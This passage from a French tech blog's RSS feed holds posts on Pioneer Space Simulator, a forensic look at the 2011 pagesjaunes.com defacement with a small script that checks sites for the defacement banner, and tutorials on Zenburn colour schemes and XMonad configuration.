<p>Eh oui, c&#8217;est immense, et vous ne voyez qu&#8217;une toute petite portion de la galaxie (pour vous faire une idée de la taille, appuyez sur F8). Avec la souris, ou les flèches du clavier, sélectionnez un système habité (indiqués par &laquo;&nbsp;Some established mining&nbsp;&raquo; ou &laquo;&nbsp;Thriving outdoor world&nbsp;&raquo; par exemple. Les systèmes indiqués &laquo;&nbsp;no registered settlement&nbsp;&raquo; sont tout à fait explorables, mais ne possèdent pas de spatioport! pensez à faire le plein!!). Si vous voulez voir la description du système sélectionné, appuyez sur F7, et si vous voulez voir le système lui même, F6. Notez que F7 permet de sélectionner une planète comme lorsque nous avons sélectionné Mars: en cliquant dessus! Très pratique à l&#8217;entrée dans un système, pour régler l&#8217;autopilote directement sur la planète qui nous intéresse (en effet, à l&#8217;entrée dans un système, vous êtes loin de tout objet, et, par exemple, les petites planètes proches de l&#8217;étoile n&#8217;apparaissent pas forcément sur l&#8217;écran de jeu (trop petites)). Notez aussi la petite boîte de recherche en bas à droite, très pratique en cas de mission…</p>
<p>Une fois votre destination sélectionnée, appuyez sur F1 pour revenir à l&#8217;écran de jeu, décollez, attendez un peu puis appuyez sur F7 pour passer en hyperespace. Notez que plus vous avez choisi une destination éloignée, plus vous consommerez de carburant et plus le temps passé en hyperespace sera long.<br />
De même, pensez à vérifier votre rayon d&#8217;action hyperspatial (touche F3 pour afficher les différentes caractéristiques du vaisseau, ce que vous avez en soute, vos missions, etc…).</p>
<p>Et voilà! C&#8217;est fini pour cette petite présentation de Pioneer Space Simulator, un jeu qui devient de plus en plus intéressant au fur et à mesure de son développement. J&#8217;espère vous avoir donné envie de le tester, et bon jeu à vous!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/09/pioneer-space-simulator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Retour sur l&#8217;affaire pagesjaunes.com</title>
		<link>http://www.hydraze.org/2011/07/retour-sur-laffaire-pagesjaunes-com/</link>
		<comments>http://www.hydraze.org/2011/07/retour-sur-laffaire-pagesjaunes-com/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 19:43:44 +0000</pubDate>
		<dc:creator>hydraze</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[actu]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[défaçage]]></category>
		<category><![CDATA[pages jaunes]]></category>
		<category><![CDATA[pagesjaunes.com]]></category>
		<category><![CDATA[script kiddies]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=276</guid>
		<description><![CDATA[&#160; En cette douce fin d&#8217;après-midi du 5 juillet, nous avons pu voir sur twitter et irc de nombreux liens vers le site pagesjaunes.com avec des commentaires comme « Pages jaunes hacké ! », « pages jaunes piraté ! » ou pour certains « pages jaunes hacked ». Pourtant, au dela du nom de domaine, [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>En cette douce fin d&#8217;après-midi du 5 juillet, nous avons pu voir sur twitter et irc de nombreux liens vers le site <a href="http://pagesjaunes.com">pagesjaunes.com</a> avec des commentaires comme « Pages jaunes hacké ! », « pages jaunes piraté ! » ou pour certains « pages jaunes hacked ». Pourtant, au dela du nom de domaine, il n&#8217;y a aucune trace de <a href="http://pagesjaunes.fr">pagesjaunes.fr</a> et de nombreux éléments troublants apparaissent.<br />
<span id="more-276"></span></p>
<h2>Les faits</h2>
<p>Comme dit un peu plus haut, <a href="http://pagesjaunes.com">pagesjaunes.com</a> a « buzzé » après la découverte de son défaçage par un groupuscule pakistanais de script kiddies (<a href="http://ompldr.org/vOWQ4cA">screen</a>). Une analyse rapide de la page nous montre qu&#8217;il s&#8217;agit d&#8217;une page en html, avec un petit bout de javascript bidon et une vidéo youtube incorporée (qui est d&#8217;ailleurs bloquée).</p>
<p><code><br />
% file index.html<br />
index.html: HTML document, Non-ISO extended-ASCII text, with CRLF line terminators<br />
</code></p>
<p>Comme on peut le voir ci dessus, ce document a été créé, au moins en partie (présence de CRLF pour terminer les lignes), sous windows.<br />
De plus, dans les en-têtes HTTP envoyés par le serveur, on peut voir ceci :</p>
<p><code><br />
Last-Modified: Sat, 02 Jul 2011 10:13:07 GMT<br />
</code></p>
<p>La page date donc au moins du Samedi 2 Juillet 2011 à 10h13 (GMT).</p>
<p>Voilà pour les faits.</p>
<h2>Pas de pagesjaunes.fr</h2>
<p>Nous avons trois informations principales qui nous amènent à dissocier totalement le site pagesjaunes.com du français<br />
pagesjaunes.fr.</p>
<ul>
<li>La première information provient d&#8217;un simple whois sur les deux noms de domaines à titre comparatif. Alors que pagesjaunes.fr <a href="http://www.whois.net/whois/pagesjaunes.fr">affiche ceci</a>, <a href="http://pagesjaunes.com">pagesjaunes.com</a> affiche lui <a href="http://www.whois.net/whois/pagesjaunes.com">ceci</a>. On voit donc nettement la différence. Les domaines n&#8217;appartenant pas aux mêmes personnes.</li>
<li>Le deuxième point est quand à lui judiciaire, comme on peut le voir <a href="http://www.journaldunet.com/ebusiness/internet/actualite/0802/080211-pagesjaunes.fr-attaque-pagesjaunes.shtml">ici</a> et <a href="http://www.clubic.com/actualite-142484-pagesjaunes-perd-second-proces-pagesjaunes-fr.html">ici</a>, pagesjaunes.com a été attaqué à plusieurs reprises par <a href="http://pagesjaunes.fr">pagesjaunes.fr</a> pour diverses raisons, s&#8217;en est suivi une interdiction d&#8217;utilisation du domaine <a href="http://pagesjaunes.com">pagesjaunes.com</a>. De part l&#8217;interdiction d&#8217;utilisation, il est donc bizarre de voir ce nom de domaine ressurgir ainsi. Vous pouvez également noter qu&#8217;<a href="http://www.google.fr/#&amp;Mhl=fr&amp;safe=off&amp;q=site:pagesjaunes.com&amp;fp=1">il n&#8217;y a aucune trace</a> de pages pour ce nom de domaine sur google.</li>
<li>Le troisième point est celui des ip, pagesjaunes.fr pointe vers 193.252.242.25 et 193.252.242.125 (merci le <a href="http://fr.wikipedia.org/wiki/Round-robin_(informatique)">round robin</a> pour faire de la <a href="http://fr.wikipedia.org/wiki/R%C3%A9partition_de_charge">répartition de charge</a>). Notez également que via un <a href="http://www.whois.net/whois/193.252.242.25">whois</a> sur ces adresses ip, on peut voir qu&#8217;elles appartiennent à France-Télécom/Orange. Concernant pagesjaunes.com, tout est différent. Ce domaine pointe vers l&#8217;ip 64.13.232.176, le reverse de cette ip est <a href="http://acmkoieeoc.gs02.gridserver.com">acmkoieeoc.gs02.gridserver.com</a> (notez bien ce domaine).</li>
</ul>
<p>Ainsi, vous avez pu voir que ce « défaçage », n&#8217;était en rien lié à pagesjaunes.fr contrairement à ce qui était annoncé et relayé sur twitter, irc, facebook ou autre. Je sais que vous n&#8217;êtes pas là que pour ça, passons donc à une analyse plus technique de ce défaçage.</p>
<h2>Analyse approfondie</h2>
<p>Et si on cherchait une porte d&#8217;entrée ?</p>
<p>Une petite recherche sur <a href="http://www.google.fr/#&amp;hl=fr&amp;safe=off&amp;q=%22HACKED%C2%A0BY+KiLLerMiNd%22">google</a> nous apprend que ce groupuscule n&#8217;en est pas à son coup d&#8217;essai. Penchons nous un peu sur les résultats de cette recherche, on y trouve de nombreux sites dont un, hostels.france.com, qui attire mon attention, de part son nom. Un petit coup d&#8217;<em>host</em> et on retrouve la même ip et le même reverse que précédemment. En tapant gs02.gridserver.com dans son navigateur, on tombe sur <a href="http://mediatemple.net/">mediatemple.net</a>, un hébergeur. On peut donc en déduire que acmkoieeoc.gs02.gridserver.com est un serveur d&#8217;hébergement mutualisé. Deux sites piratés par le même groupuscule sur une même plateforme d&#8217;hébergement, regardons si le chiffre n&#8217;est pas supérieur… Demandons à <a href="http://robtex.com">robtex</a> de nous fournir une liste de noms de domaines à cette ip, nous obtenons <a href="http://www.robtex.com/ip/64.13.232.176.html">ceci</a>. Comme vous je suis faignant, j&#8217;ai donc fait un petit script qui, à partir de cette liste partielle (<a href="http://hostels.france.com">hostels.france.com</a> n&#8217;y est pas, on peut donc penser que de nombreux autres sites n&#8217;y sont pas référencés), va regarder si cette page de défaçage est présente. Le script en question :<br />
<code><br />
#!/bin/bash<br />
while read url<br />
do<br />
echo -n "$url :"<br />
wget -q -O- $url | grep "Hacked By KiLLerMiNd" &gt; /dev/null 2&gt;&amp;1 &amp;&amp; echo -e "33[1;31m yes 33[0m" || echo -e "33[1;32m no 33[0m"<br />
done<br />
</code></p>
<p>On se fait un fichier contenant un nom de domaine par ligne, et on appelle le script comme ceci :<br />
<code><br />
./check.sh &lt; hosts<br />
</code></p>
<p>Ce script affiche un « yes » rouge si le site est défacé et un « no » vert s&#8217;il ne l&#8217;est pas, rien de bien compliqué. Concernant les résultats, nous avons ainsi pu voir que seul le site amerique.com était lui aussi défacé à l&#8217;heure actuelle. Cela nous fait donc un total de 3 sites piratés par ce groupuscule, ça commence à faire beaucoup. Regardons les headers HTTP. Surprise, nous retrouvons un header Last-Modified sur hostels.france.com, d&#8217;après lui la page a été modifié le&#8230;<br />
<code>Last-Modified: Sat, 02 Jul 2011 10:13:07 GMT</code><br />
Bingo ! La même seconde que pour pagesjaunes.com. De là plusieurs hypothèses : le header est faux/erroné, c&#8217;est une pure coincidence ou un site chez cet hébergeur s&#8217;est fait pirater et ce groupuscule en a profité, via une politique de sécurité défaillante chez cet hébergeur, pour défacer d&#8217;autres sites hébergés.</p>
<p>C&#8217;est ici que se finit ce retour, je vous laisse faire votre propre conclusion concernant ce mini-buzz qui au final cachait quand même quelques petites surprises.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/07/retour-sur-laffaire-pagesjaunes-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Zenburn desktop, ou comment épargner ses yeux :]</title>
		<link>http://www.hydraze.org/2011/06/zenburn-desktop-ou-comment-epargner-ses-yeux/</link>
		<comments>http://www.hydraze.org/2011/06/zenburn-desktop-ou-comment-epargner-ses-yeux/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 13:46:19 +0000</pubDate>
		<dc:creator>lidstah</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[lidstah]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tuto]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=263</guid>
		<description><![CDATA[Eh oui c&#8217;est encore moi! À la suite du commentaire de Brainiac sur ratpoison, voici donc comment… hum, zenburnifier son desktop :] (eh oui, il y a un jeu de mots à deux balles dans ce syllogisme) I- Zenburn, c&#8217;est quoi donc ça? Zenburn, c&#8217;est un ensemble de couleurs dites &#171;&#160;low contrast&#160;&#187;, qui, si vous [...]]]></description>
			<content:encoded><![CDATA[<p>Eh oui c&#8217;est encore moi! À la suite du commentaire de Brainiac sur ratpoison, voici donc comment… hum, zenburnifier son desktop :] (eh oui, il y a un jeu de mots à deux balles dans ce syllogisme)</p>
<p><span id="more-263"></span></p>
<p><span style="text-decoration: underline;"><strong>I- Zenburn, c&#8217;est quoi donc ça?</strong></span></p>
<p>Zenburn, c&#8217;est un ensemble de couleurs dites &laquo;&nbsp;low contrast&nbsp;&raquo;, qui, si vous travaillez dans la pénombre, dans le noir, ou tout simplement si votre nouvel écran oled de la mort qui tue vous éclate les yeux, permet de moins se fatiguer la vue sur la durée. Les fonds sont en général gris (#3f3f3f) et les couleurs relativement peu &laquo;&nbsp;flashy&nbsp;&raquo; &#8211; le blanc, par exemple, ne sera pas un vilain #ffffff prompt à vous envoyer chez l&#8217;ophtalmo le plus proche (qui se frotte déjà les mains à l&#8217;idée de vous annoncer une myopie, voire une crémation au 3ème degré de votre rétine… ) mais une couleur plus &laquo;&nbsp;soft&nbsp;&raquo;, moins contrastée mais tout de même lisible (#dcdccc dans le cas du blanc).</p>
<p>Il existe des thèmes zenburn pour presque chaque élément de votre desktop, et même des CSS zenburn à utiliser avec votre navigateur favori &#8211; même si dans ce cas, il peut être utile de le désactiver pour certains sites, comme linuxfr.org par exemple). C&#8217;est à dire qu&#8217;il existe des thèmes zenburn pour gtk2, pour votre terminal chéri, pour votre window manager &#8211; openbox par exemple, mais aussi awesomeWM (merci anrxc, dont je ne saurais que trop vous conseiller la lecture du site &#8211; lien en fin d&#8217;article), XMonad (on ne peut plus simple: 2 couleurs), et j&#8217;imagine, bien entendu, xfce/gnome/kde/lereste, sans compter quelques réglages pour dmenu, dzen2, xmobar…</p>
<p>Dans la suite de cet article, je vais vous détailler les configurations pour les logiciels suivants:</p>
<ul>
<li>urxvt (paquet rxvt-unicode256colors, important pour vim!) et plus globalement les réglages à effectuer dans .Xdefaults (bin oui, une xclock zenburn, c&#8217;est &#8216;achement plus classe que le machin noir &amp; blanc de base)</li>
<li>vim (très simple, il existe une coloration syntaxique zenburn)</li>
<li>gtk2 &#8211; je ne rentrerai pas trop dans les détails, dans ce cas, je me contenterai, tout comme pour Vimperator, de vous fournir un lien vers les thèmes en question, qui ne sont pas bien méchants à installer)</li>
</ul>
<p><strong><span style="text-decoration: underline;">II- Les codes couleurs Zenburn de base.</span></strong></p>
<p>Voici donc les codes couleurs des 16 couleurs de base, en mode zenburn, plus le background et le foreground:</p>
<ul>
<li>background: #3f3f3f</li>
<li>foreground (white): #dcdccc (mais #afafaf peut être utile, ça dépend de la luminosité de votre (vos) écran(s))</li>
<li>noir: #1e2320</li>
<li>rouge: #705050</li>
<li>vert: #60b48a</li>
<li>jaune: #dfaf8f</li>
<li>bleu: #506070</li>
<li>violet: #dc8cc3</li>
<li>cyan: #8cd0d3</li>
<li>blanc: #dcdccc</li>
<li>noir brillant: #709080</li>
<li>rouge brillant: #dca3a3</li>
<li>vertquipète: #c3bf9f</li>
<li>jaunefluo: #f0dfaf</li>
<li>bleu brillant: #94bff3</li>
<li>violet pétant: #ec93d3</li>
<li>cyan brillant: #94bff3</li>
<li>blanc brillant, aussi appellé &laquo;&nbsp;l&#8217;arrache rétine&nbsp;&raquo;: #ffffff</li>
</ul>
<p>Comme vous avez sûrement dû le voir, les couleurs utilisées, mis à part l&#8217;arrache rétine, sont plutôt soft et n&#8217;arrachent pas les yeux &#8211; le fond relativement sombre (gris) permettant à ces couleurs de ressortir sans pour autant &laquo;&nbsp;aveugler&nbsp;&raquo; l&#8217;utilisateur.</p>
<p><strong><span style="text-decoration: underline;">III &#8211; C&#8217;est bien gentil tout ça, mais je vais pas me les taper à la main non plus?</span></strong></p>
<p>Non, du moins, pas pour les logiciels précités, je les ai tapés à votre place, tas de fainéants! Dites vous, cependant, que ça ne prend en général que quelques minutes pour configurer, par exemple, XChat2 afin qu&#8217;il utilise ces codes couleurs et pas l&#8217;horrible blanc qui tue sur noir d&#8217;encre, et que vos yeux vous remercierons &#8211; notons au passage que zenburn n&#8217;est pas le seul colorscheme &laquo;&nbsp;low contrast&nbsp;&raquo;.<br />
Attaquons nous déjà au .Xdefaults, fichier qui doit normalement se trouver dans votre $HOME. Tout d&#8217;abord, le terminal &#8211; je vous conseille au passage zsh comme shell par défaut, mais ça j&#8217;y reviendrai dans un autre article &#8211; dans mon cas, urxvt:</p>
<blockquote><p>urxvt.font: xft:Terminus:size=8<br />
urxvt.termName:  rxvt-256color<br />
urxvt.loginShell:         true<br />
urxvt.scrollBar:         false<br />
urxvt.secondaryScroll:    true<br />
urxvt.saveLines:         65535<br />
urxvt.cursorBlink:       false<br />
urxvt.urgentOnBell:       true<br />
urxvt.override-redirect: false<br />
!urxvt.borderLess:       false<br />
!urxvt.borderWidth:          1<br />
!urxvt.internalBorder:       0<br />
!<br />
! Extensions<br />
urxvt*perl-lib:         /usr/lib/urxvt/perl/<br />
urxvt*perl-ext-common:  default,matcher,searchable-scrollback<br />
urxvt*urlLauncher:      /usr/bin/firefox<br />
urxvt*matcher.button:   1<br />
! pour ne pas louper une url<br />
urxvt.cutchars:         `()&#8217;*&lt;&gt;[]{|}&nbsp;&raquo;<br />
URxvt*cutchars:         `&nbsp;&raquo;()&#8217;*&lt;&gt;[]{|}</p>
<p>! Curseur<br />
urxvt.cursorColor: #DCDCCC</p>
<p>urxvt*background:  #3F3F3F<br />
!urxvt*foreground:  #dcdccc<br />
urxvt*foreground:  #dcdccc</p>
<p>! black + red<br />
! !urxvt*color0:     #3f3f3f<br />
urxvt*color0:      #1E2320<br />
urxvt*color1:      #705050<br />
! ! green + yellow<br />
urxvt*color2:      #60b48a<br />
urxvt*color3:      #dfaf8f<br />
! ! blue + purple<br />
urxvt*color4:      #506070<br />
urxvt*color5:      #dc8cc3<br />
! ! cyan + white<br />
urxvt*color6:      #8cd0d3<br />
urxvt*color7:      #dcdccc<br />
! ! bright-black + bright-red<br />
urxvt*color8:      #709080<br />
urxvt*color9:      #dca3a3<br />
! ! bright-green + bright-yellow<br />
urxvt*color10:     #c3bf9f<br />
urxvt*color11:     #f0dfaf<br />
! ! bright-blue + bright-purple<br />
urxvt*color12:     #94bff3<br />
urxvt*color13:     #ec93d3<br />
! ! bright-cyan + bright-white<br />
urxvt*color14:     #94bff3<br />
urxvt*color15:     #ffffff<br />
!</p></blockquote>
<p>Petite note : dans le .Xdefaults, ! est l&#8217;équivalent du #. De plus, il y a quelques prérequis si vous voulez utiliser urxvt: rxvt-unicode256colors normalement dispo sur les dépôts de votre distro, et la fonte Terminus, si vous voulez utilisez celle-ci &#8211; elle aussi, disponible sur vos dépôts normalement &#8211; mais rien ne vous empêche d&#8217;en utiliser une autre. Petit truc sympa, urxvt utilise xft. Bien sûr, si vous utilisez un autre terminal, comme xterm, il faudra adapter la config&#8217; en question <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8211; voire adapter la palette de couleur dans les bidules genre roxterm ou gnome terminal (mode troll: utilisez plutôt un VRAI émulateur de terminal)</p>
<p>Xclock maintenant, bien plus simple:</p>
<blockquote><p>xclock*update:     1<br />
xclock*Mode:       analog<br />
xclock*Background: #3F3F3F<br />
xclock*Border:     #3F3F3F<br />
xclock*Foreground: #F0DFAF</p></blockquote>
<p>Il existe aussi des adaptations pour xfontsel ou xcalc, mais elles ne sont pas terribles: il reste toujours un vieux fond blanc qui pète :/</p>
<p>N&#8217;oubliez pas un petit xrdb .Xdefaults afin que le serveur X prenne en compte les nouveaux paramètres &#8211; ça vous évitera de vous délogger/relogger <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Bon, ça, c&#8217;est fait, on va pouvoir passer à un autre morceau, pas bien dur ce coup-ci: Vim (et son pote gVim dans la foulée <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  )</p>
<p>Tout d&#8217;abord il va falloir récupérer zenburn.vim ici: <a href="http://www.vim.org/scripts/script.php?script_id=415">http://www.vim.org/scripts/script.php?script_id=415</a> et le placer dans votre répertoire ~/.vim/colors/. Vous pouvez déjà le tester dans vim en tapant :colorscheme zenburn &#8211; pour l&#8217;utiliser définitivement, rajoutez la ligne:</p>
<blockquote><p>colorscheme zenburn</p></blockquote>
<p>dans votre fichier ~/.vimrc</p>
<p>Attention, si vous n&#8217;utilisez pas un terminal 256 couleurs, vous risquez d&#8217;avoir quelques problèmes <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong><span style="text-decoration: underline;">IV- GTK, CSS, Vimperator. </span></strong></p>
<p><strong></strong>Donc, en ce qui concerne GTK (2, pas 3 pour le moment :/), il suffit de télécharger la config zenburn et de la charger dans lxappearance, par exemple. Elle se trouve ici:</p>
<p><a href="http://gnome-look.org/content/show.php/Zenburn+GTK?content=100628">http://gnome-look.org/content/show.php/Zenburn+GTK?content=100628</a></p>
<p>En ce qui concerne la CSS Zenburn pour Firefox, voici ma version quelque peu modifiée, à charger avec, par exemple, l&#8217;addon Stylish:</p>
<p><a href="http://pastebin.com/Z5iEhpZB" target="_blank">http://pastebin.com/Z5iEhpZB</a></p>
<p>Attention, cette CSS peut parfois produire des résultats étranges sur certains sites, mais elle fonctionne relativement bien sur la majorité des sites que je visite quotidiennement &#8211; sauf trollf^Wlinuxfr <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Pour les utilisateurs de l&#8217;excellent plugin Vimperator pour Firefox:</p>
<p><a href="http://pastebin.com/J3bbnRFw" target="_blank">http://pastebin.com/J3bbnRFw</a></p>
<p>Il suffit ensuite de le copier dans le fichier ~/.vimperator/colors/zenburn.vimp &#8211; un petit :colorscheme zenburn (n&#8217;oubliez pas la tab-completion de vimperator <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) pour voir ce que ça donne <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Et pour finir, Zathura, lecteur pdf &#8211; dans son fichier ~/.config/zathura/zathurarc, copiez les lignes suivantes:</p>
<blockquote><p>set default_bgcolor #3F3F3F<br />
set inputbar_fgcolor #dcdccc<br />
set inputbar_bgcolor #3f3f3f<br />
set statusbar_bgcolor #2f2f2f<br />
set statusbar_fgcolor #dcaf8f</p></blockquote>
<p>Et voilà, normalement vous devriez arriver à quelque chose comme ça:</p>
<p><a href="http://ompldr.org/vOTJxZw" target="_blank"><img class="aligncenter" src="http://ompldr.org/tOTJxZw" alt="" width="120" height="40" /></a></p>
<p>(Et oui, j&#8217;ai récup&#8217; un 19&#8243; pas cher chez un pote la semaine dernière, à moi les joies du dual screen <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</p>
<blockquote><p>
Petit edit post rédaction: en ce qui concerne zathura, vous avez aussi la possibilité de recoloriser le pdf, ie, d&#8217;utiliser les couleurs zenburn au lieu du classique blanc qui pète et du noir qui tue par défaut, en utilisant Ctrl-i. Et donc:</p>
<p>set recolor_darkcolor #dcdccc</p>
<p>set recolor_lightcolor #3f3f3f</p>
<p>pour obtenir de beaux pdfs zenburnés :] (sisi, jeu de mot à deux balles, je sais, je &#8211;&gt;[⋅]</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/06/zenburn-desktop-ou-comment-epargner-ses-yeux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XMonad: quand je vous disais que vous alliez en bouffer du tiling window manager!</title>
		<link>http://www.hydraze.org/2011/06/xmonad-quand-je-vous-disais-que-vous-alliez-en-bouffer-du-tiling-window-manager/</link>
		<comments>http://www.hydraze.org/2011/06/xmonad-quand-je-vous-disais-que-vous-alliez-en-bouffer-du-tiling-window-manager/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 13:52:22 +0000</pubDate>
		<dc:creator>lidstah</dc:creator>
				<category><![CDATA[Découvertes]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[lidstah]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[tiling window manager]]></category>
		<category><![CDATA[tuto]]></category>
		<category><![CDATA[xmonad]]></category>

		<guid isPermaLink="false">http://www.hydraze.org/?p=249</guid>
		<description><![CDATA[Bon, ça faisait bien un peu plus d&#8217;un an que je n&#8217;avais rien posté &#8211; les impératifs de la vie réelle ayant un peu pris le dessus &#8211; mais vu que je suis désormais en &#171;&#160;vacances prolongées&#160;&#187;, je devrais avoir un peu plus de temps pour venir vous gonfler avec les gestionnaires de fenêtres en [...]]]></description>
			<content:encoded><![CDATA[<p>Bon, ça faisait bien un peu plus d&#8217;un an que je n&#8217;avais rien posté &#8211; les impératifs de la vie réelle ayant un peu pris le dessus &#8211; mais vu que je suis désormais en &laquo;&nbsp;vacances prolongées&nbsp;&raquo;, je devrais avoir un peu plus de temps pour venir vous gonfler avec les gestionnaires de fenêtres en mode pavant, les applications en mode texte et autres joyeusetés de geek assumé <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Allez, on embraye, on perd pas de temps, aujourd&#8217;hui je vais vous parler de XMonad, le gestionnaire de fenêtres écrit, configuré et bidouillé en… Haskell. Tiens, j&#8217;entends quelques cris d&#8217;orfraie: &laquo;&nbsp;Au secours le haskell c&#8217;est une horreur c&#8217;est imbuvable on va tous mourir!&nbsp;&raquo;.</p>
<p>Meuh non. C&#8217;est pas plus dur que du lua, surtout pour ce qu&#8217;on veut faire: configurer xmonad.<span id="more-249"></span><br />
<strong> </strong></p>
<p><strong><span style="text-decoration: underline;">I- Installation de xmonad.</span></strong><br />
Normalement, il ne devrait pas y avoir de problème, il doit être dans vos dépôts.</p>
<p>Sous ArchLinux:</p>
<blockquote><p>yaourt -S xmonad xmonad-contrib xmobar</p></blockquote>
<p>Le paquet xmonad se passe de commentaires, xmonad-contrib contient de nombreux addons (dont nous aurons besoin notamment pour rajouter de nouveaux layouts <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) et xmobar nous permettra d&#8217;afficher une petite barre à la dzen &#8211; on peut aussi utiliser dzen2, mais xmobar a quelques avantages dans le cas de l&#8217;utilisation avec xmonad &#8211; c&#8217;est pas pour rien qu&#8217;il commence par &laquo;&nbsp;xmo&nbsp;&raquo;, hein!<br />
Une fois installé, vous pourrez le lancer soit via votre .xinitrc, votre .xsession ou votre login manager &#8211; je ne vais pas détailler tout le bousin, ce serait un peu long, alors autant vous passer un lien vers la doc d&#8217;xmonad (en angliche):</p>
<p><a title="Xmonad doc" href="http://xmonad.org/documentation.html" target="_blank">http://xmonad.org/documentation.html</a></p>
<p>Au premier lancement, vous devriez arriver à un splendide écran noir du plus bel effet, tellement d&#8217;ailleurs qu&#8217;une des premières entrées de la FAQ d&#8217;xmonad concerne justement ce &laquo;&nbsp;mais y&#8217;a rien à l&#8217;écran boudiou!&nbsp;&raquo;.</p>
<p>Normal, on a rien configuré. Faites donc un petit shift-alt-return pour lancer un xterm (beurk, on va remplacer ça par urxvt &#8211; c&#8217;est même une des premières choses que l&#8217;on va faire).</p>
<p>La configuration par défaut, très basique, propose les mêmes raccourcis clavier qu&#8217;un awesome/dwm &#8211; là aussi, on peut remplacer Alt par Mod4, etc, on va y venir &#8211; cependant, étant l&#8217;heureux possesseur d&#8217;un clavier IBM Model M (de 1991), je me sers de la bonne vieille touche Alt pour mes raccourcis (pensez-y quand je vous montrerai, par exemple, comment rajouter de nouveaux raccourcis clavier).</p>
<p>Un petit récapitulatif vite fait:</p>
<p>S-Alt-Return : xterm</p>
<p>Alt-j/k : passer d&#8217;un client à l&#8217;autre, avec shift on intervertit les clients, classique</p>
<p>Alt-h/l : diminue/augmente la taille du master</p>
<p>Alt-Return: passe le client sélectionné en master</p>
<p>Alt-Space: changement de layout (pour le moment, 3 layouts, on va en rajouter tout à l&#8217;heure <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>Ce n&#8217;est pas une liste exhaustive, et si vous utilisez un clavier français, pour le moment, vous ne pouvez pas changer de workspace &#8211; on va y venir dans la configuration.</p>
<p>&nbsp;</p>
<p><strong><span style="text-decoration: underline;">II- Le gros morceau: la configuration d&#8217;Xmonad.</span></strong><br />
Bon, pour le moment, Xmonad saybingentil© mais c&#8217;est un peu chiant. On va égayer tout ça!</p>
<p>Tout d&#8217;abord, le fichier de conf&#8217; se trouve dans ~/.xmonad/ et s&#8217;appelle xmonad.hs.</p>
<p>S&#8217;il n&#8217;existe pas, créez le avec votre éditeur de texte favori! Plutôt que de vous faire un copié collé du mien, je vais vous le détailler en plusieurs parties. Je vous conseille de copier le fichier /usr/share/xmonad-0.9.2/man/xmonad.hs dans ~/.xmonad/ afin de bien voir ce que je modifie.</p>
<p>Tout d&#8217;abord: importation des libs XMonad:</p>
<blockquote><p>import XMonad<br />
import Data.Monoid<br />
import System.Exit<br />
import XMonad.Hooks.DynamicLog<br />
import qualified XMonad.StackSet as W<br />
import qualified Data.Map                 as M<br />
import XMonad.Hooks.ManageDocks<br />
import XMonad.Util.Run(spawnPipe)<br />
import XMonad.Util.EZConfig(additionalKeys)<br />
import XMonad.Actions.CycleWS<br />
import XMonad.Layout.Circle<br />
import XMonad.Layout.ResizableTile<br />
import XMonad.Layout.Tabbed<br />
import XMonad.Layout.Spiral<br />
import XMonad.Layout.Magnifier<br />
import System.IO</p></blockquote>
<p>Les six premiers &laquo;&nbsp;import&nbsp;&raquo; (comme en lua, en python, équivalent aux include en C), sont les imports &laquo;&nbsp;de base&nbsp;&raquo; d&#8217;XMonad.</p>
<p>Viennent ensuite:</p>
<ul>
<li>ManageDocks: ça va nous permettre de gérer xmobar ou dzen2, en lui réservant un espace sur l&#8217;écran, qui ne sera pas recouvert par les autres clients &#8211; tout comme le padding de ratpoison, par exemple.</li>
<li>Run(spawnPipe): nous permettra d&#8217;envoyer des informations d&#8217;XMonad au stdin de xmobar (workspace, layout, titre du client)</li>
<li>EZConfig(additionalKeys): pour rajouter facilement des raccourcis clavier à la fin du fichier de conf&#8217; d&#8217;xmonad</li>
<li>Actions.CycleWS: va nous permettre de binder quelques touches pour cycler entre les workspaces</li>
<li>Layout.*: différents layouts que nous allons utiliser &#8211; il y en a un gros paquet, et de plus il existe aussi un mode Combo, sur lequel je reviendrai lorsque je l&#8217;aurai testé (donc pas aujourd&#8217;hui ^^)</li>
</ul>
<blockquote><p>myTerminal = &laquo;&nbsp;urxvt&nbsp;&raquo;</p>
<p>myFocusFollowsMouse :: Bool</p>
<p>myFocusFollowsMouse = False (ou True, dépend de vos goûts en la matière)</p>
<p>myBorderWidth = 1 (taille de la bordure autour du client sélectionné)</p>
